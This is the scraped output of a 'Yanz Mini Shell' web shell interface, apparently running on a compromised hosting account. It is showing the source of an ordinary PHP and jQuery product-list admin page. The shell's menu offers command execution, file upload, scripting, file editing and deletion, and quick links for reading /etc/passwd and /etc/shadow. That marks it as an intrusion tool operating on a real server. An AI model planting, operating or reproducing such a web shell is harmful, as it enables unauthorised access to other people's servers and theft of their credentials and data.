Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
firstmatrixcoin
public_html
ocean-arc.firstmatrix.co.in
plugins
select2
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php include 'header.php' ?> <!-- Vendors CSS --> <link rel="stylesheet" href="assets/vendor/libs/perfect-scrollbar/perfect-scrollbar.css" /> <link rel="stylesheet" href="assets/vendor/libs/typeahead-js/typeahead.css" /> <link rel="stylesheet" href="assets/vendor/libs/datatables-bs5/datatables.bootstrap5.css" /> <link rel="stylesheet" href="assets/vendor/libs/datatables-responsive-bs5/responsive.bootstrap5.css" /> <link rel="stylesheet" href="assets/vendor/libs/datatables-buttons-bs5/buttons.bootstrap5.css" /> <link rel="stylesheet" href="assets/vendor/libs/select2/select2.css" /> <link rel="stylesheet" href="assets/vendor/libs/@form-validation/form-validation.css" /> <div class="container-xxl flex-grow-1" style="padding: 0px 10px;"> <div class="card mb-2"> <div class="row p-2"> <div class="col-md-8"> <h6 class="card-header"><i class="ri-shopping-bag-line"></i> Product List</h6> </div> <div class="col-md-4 text-end"> <a href="product.php" class="btn btn-xs btn-primary rounded-pill"> <i class="ri-file-add-fill"></i> Add New </a> </div> </div> </div> <div class="card"> <div class="table-responsive text-nowrap"> <table id="productTable" class="table" style="width: 100%;"> <thead> <tr> <th>Sl.No</th> <th>Product Name</th> <th>Category</th> <th>Price</th> <th>Status</th> <th>Actions</th> </tr> </thead> </table> </div> </div> </div> <!-- Delete Modal --> <div class="modal fade" id="deleteModal" tabindex="-1" aria-labelledby="deleteModalLabel" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="deleteModalLabel">Confirm Delete</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> Are you sure you want to delete this product? </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button> <button type="button" class="btn btn-danger" id="confirmDelete">Delete</button> </div> </div> </div> </div> <?php include 'footer.php' ?> <!-- Vendors JS --> <script src="assets/vendor/libs/jquery/jquery.js"></script> <script src="assets/vendor/libs/datatables-bs5/datatables-bootstrap5.js"></script> <script> let productDeleteId = null; function getProductTable() { const \$table = $('#productTable'); if (\$.fn.DataTable.isDataTable(\$table)) { \$table.DataTable().clear().destroy(); } \$table.DataTable({ processing: true, serverSide: true, ajax: { url: `api/product/read.php`, type: 'GET' }, columns: [ { data: null, render: (data, type, row, meta) => meta.row + 1 }, { data: 'product_name' }, { data: 'category' }, { data: 'price' }, { data: 'status' }, { data: null, orderable: false, searchable: false, className: "text-center", render: (data) => ` <button class="btn btn-warning btn-xs" onclick="editProduct(${data.id})"> <i class="ri-edit-box-fill"></i> Edit </button> <button class="btn btn-danger btn-xs" onclick="deleteProduct(${data.id})"> <i class="ri-delete-bin-line"></i> Delete </button> ` } ], order: [[1, 'asc']], responsive: true, lengthMenu: [[10, 25, 50, 100], [10, 25, 50, 100]], }); } function editProduct(id) { window.location.href = 'product.php?id=' + id; } function deleteProduct(id) { productDeleteId = id; $('#deleteModal').modal('show'); } $('#confirmDelete').click(function () { if (productDeleteId) { $.ajax({ url: `api/product/delete.php`, type: 'POST', contentType: 'application/json', data: JSON.stringify({ id: productDeleteId }), dataType: 'json', success: function (response) { $('#deleteModal').modal('hide'); if (response.status === 'success') { showtoastt(response.message, 'success'); $('#productTable').DataTable().ajax.reload(); } else { showtoastt(response.message, 'danger'); } }, error: function (jqXHR) { $('#deleteModal').modal('hide'); let errorMsg = 'Something went wrong.'; if (jqXHR.responseJSON && jqXHR.responseJSON.message) { errorMsg = jqXHR.responseJSON.message; } showtoastt(errorMsg, 'danger'); } }); } }); $(document).ready(function () { getProductTable(); }); </script>
Free Space : 12096917504 Byte